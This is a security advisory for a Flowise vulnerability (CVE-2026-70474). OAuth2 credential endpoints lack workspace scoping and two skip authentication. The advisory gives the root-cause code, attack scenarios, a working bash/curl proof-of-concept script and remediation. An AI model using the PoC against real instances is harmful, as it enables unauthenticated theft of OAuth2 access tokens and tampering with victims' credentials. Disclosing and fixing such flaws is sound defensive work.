CVE-2026-70474: Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

Published Aug 4, 2026
·
Updated

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

---

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })

packages/server/src/routes/oauth2/index.ts:183-185 (callback) typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter })

packages/server/src/routes/oauth2/index.ts:314-316 (refresh) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132 typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // <-- Workspace scoping present })

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41 typescript export const WHITELISTURLS = [ // ... '/api/v1/oauth2-credential/callback', // line 40 '/api/v1/oauth2-credential/refresh', // line 41 // ... ]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth: typescript const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check }

---

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's clientid, scope, and redirecturi.

POST /api/v1/oauth2-credential/authorize/<VICTIMCREDENTIALUUID> Cookie: connect.sid=<ATTACKERSESSION>

Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "authorizationUrl": "https://provider.com/oauth2/authorize?clientid=LEAKEDCLIENTID&scope=LEAKEDSCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" }

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKERAUTHCODE&state=<VICTIMCREDENTIALUUID> (No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() })

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refreshtoken, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIMCREDENTIALUUID> (No authentication required)

Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "tokenInfo": { "accesstoken": "new-access-token-value", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T12:00:00.000Z" } }

The fresh accesstoken is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.

---

Proof of Concept

Prerequisites

- A running Flowise instance with at least two workspaces (Workspace A and Workspace B) - An OAuth2 credential configured in Workspace B (the victim) - The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

bash No cookies, no Bearer token — completely unauthenticated FLOWISEURL="https://TARGETINSTANCE" VICTIMCREDID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token: json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "accesstoken": "<VALIDACCESSTOKEN>", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T..." } }

Expected result if credential not found: json { "success": false, "message": "Credential not found" }

Step 2 — Cross-workspace authorize (requires any valid session)

bash Attacker is authenticated in Workspace A They target a credential UUID from Workspace B ATTACKERCOOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked: json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?clientid=VICTIMCLIENTID&scope=VICTIMSCOPES&...", "redirectUri": "https://TARGETINSTANCE/api/v1/oauth2-credential/callback" }

Step 3 — Forge callback to inject attacker-controlled tokens

bash Attacker sets up a rogue OAuth2 provider that returns crafted tokens, OR intercepts a legitimate flow. The state parameter is the victim credential UUID.

curl -s "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=ATTACKERCODE&state=${VICTIMCREDID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

bash #!/usr/bin/env bash set -euo pipefail

---- Configuration ---- FLOWISEURL="${1:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" VICTIMCREDID="${2:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" ATTACKERCOOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISEURL}" echo "Credential: ${VICTIMCREDID}" echo ""

--- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json")

HTTPCODE=$(echo "${REFRESHRESP}" | tail -1) BODY=$(echo "${REFRESHRESP}" | head -n -1)

if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo "[] Credential not found (UUID may be invalid)" elif echo "${BODY}" | grep -q "Missing required"; then echo "[] Credential exists but has no refreshtoken (no prior OAuth2 flow)" echo " This still confirms the endpoint is reachable without auth" else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi echo ""

--- Attack Vector 2: Cross-workspace authorize (needs session) --- if [ -n "${ATTACKERCOOKIE}" ]; then echo "[2] Attempting cross-workspace authorize..." AUTHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json")

HTTPCODE=$(echo "${AUTHRESP}" | tail -1) BODY=$(echo "${AUTHRESP}" | head -n -1)

if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Cross-workspace credential access confirmed" echo " Leaked authorization URL:" echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500 else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi else echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)" fi echo ""

--- Attack Vector 3: Confirm callback is unauthenticated --- echo "[3] Confirming callback endpoint is unauthenticated..." CALLBACKRESP=$(curl -s -w "\n%{httpcode}" \ "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=poctestcode&state=${VICTIMCREDID}")

HTTPCODE=$(echo "${CALLBACKRESP}" | tail -1)

Any response other than 401/403 confirms the endpoint is reachable without auth. A 400 with "tokenexchangefailed" means the endpoint processed the request (tried to exchange the code) — it just failed at the external provider. if [ "${HTTPCODE}" = "401" ] || [ "${HTTPCODE}" = "403" ]; then echo "[] Callback endpoint returned ${HTTPCODE} — auth is enforced (NOT vulnerable)" else echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTPCODE})" echo " The server attempted to process the OAuth2 callback." echo " With a valid authorization code, tokens would be written to the credential." fi

echo "" echo "=== PoC Complete ==="

---

Impact

| Vector | Auth Required | Impact | |--------|--------------|--------| | Credential metadata leak via /authorize | Low (any session) | Exposes clientid, scope, redirecturi from any workspace's credential | | Token injection via /callback | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values | | Token theft via /refresh | None | Obtain a fresh accesstoken for any credential's connected service (Microsoft 365, Google, etc.) |

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.

---

Affected Components

| File | Lines | Issue | |------|-------|-------| | packages/server/src/routes/oauth2/index.ts | 80-82 | findOneBy({ id }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 183-185 | findOneBy({ id: state }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 314-316 | findOneBy({ id }) — no workspaceId | | packages/server/src/utils/constants.ts | 40 | /callback whitelisted from auth | | packages/server/src/utils/constants.ts | 41 | /refresh whitelisted from auth |

---

Remediation

1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:

typescript // Before (vulnerable) const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed) const credential = await credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId })

2. Remove /callback and /refresh from WHITELISTURLS or implement a signed, time-limited state token that authenticates the callback without a session.

3. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

4. Do not return accesstoken in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.

---

Other sources

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise has three OAuth2 credential endpoints that look up credentials by id alone with no workspaceId filter. The authorize, callback, and refresh handlers query the Credential table by id only; callback and refresh are whitelisted from authentication. This allows any authenticated user to initiate OAuth2 flows against credentials belonging to other workspaces, allows an unauthenticated attacker to forge OAuth2 callbacks to overwrite tokens in any credential, and allows an unauthenticated attacker to refresh tokens for any credential. The affected routes include /api/v1/oauth2-credential/authorize/<VICTIMCREDENTIALUUID>, /api/v1/oauth2-credential/callback?code=ATTACKERAUTHCODE&state=<VICTIMCREDENTIALUUID>, and /api/v1/oauth2-credential/refresh/<VICTIMCREDENTIALUUID>. This issue is fixed in version 3.1.3.

MITRE

Affected Software

2 affected componentsFixes available
Flowise<3.1.3
npm/flowise<=3.1.2
3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.1.3
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.1.3
  3. Configuration

    Add `workspaceId` to all credential lookups in the OAuth2 routes (authorize/callback/refresh), matching the pattern used in `services/credentials/index.ts:130-132` and replacing the current `findOneBy({ id: ... })` / `findOneBy({ id: state })` behavior that lacks a `workspaceId` filter.

    Flowise OAuth2 routes (/api/v1/oauth2-credential/authorize, /callback, /refresh) Credential lookup scoping = Include workspaceId in all Credential table lookups (filter by both credential id/state and workspaceId)
  4. Configuration

    Remove the `/callback` and `/refresh` endpoints from `WHITELIST_URLS` so they are not whitelisted from authentication.

    Flowise authentication whitelist WHITELIST_URLS entries = Remove `/callback` and `/refresh` from `WHITELIST_URLS`
  5. Configuration

    Replace the `state` parameter (currently used as the credential lookup key) with a cryptographically random nonce bound to the user's session; the callback should be authenticated via a signed, time-limited state token rather than using the victim credential UUID directly.

    Flowise OAuth2 /callback endpoint state parameter handling = Replace `state` with a cryptographically random nonce bound to the user's session
  6. Configuration

    Update `/api/v1/oauth2-credential/refresh/<credentialId>` so it does not include `access_token` in the `/refresh` response body; store the refreshed token server-side in the encrypted credential data only.

    Flowise OAuth2 /refresh endpoint /refresh response body = Do not return `access_token` in the response body

Event History

Aug 4, 2026
CVE Published
via MITRE·06:01 PM
Data Sourced
via MITRE·06:01 PM
DescriptionWeakness
Advisory Published
via GitHub·06:01 PM
Data Sourced
via GitHub·06:01 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-70474?

CVE-2026-70474 has a risk rating of 80, indicating a high level of severity.

2

How do I fix CVE-2026-70474?

To mitigate CVE-2026-70474, upgrade Flowise to version 3.1.3 or later where the vulnerability is addressed.

3

What are the potential impacts of CVE-2026-70474?

CVE-2026-70474 could allow unauthorized access to OAuth2 credentials across different workspaces, leading to potential data breaches.

4

What specific components of Flowise are affected by CVE-2026-70474?

CVE-2026-70474 affects the authorize, callback, and refresh handlers that handle OAuth2 credential management.

5

When was CVE-2026-70474 published?

CVE-2026-70474 was published on August 4, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203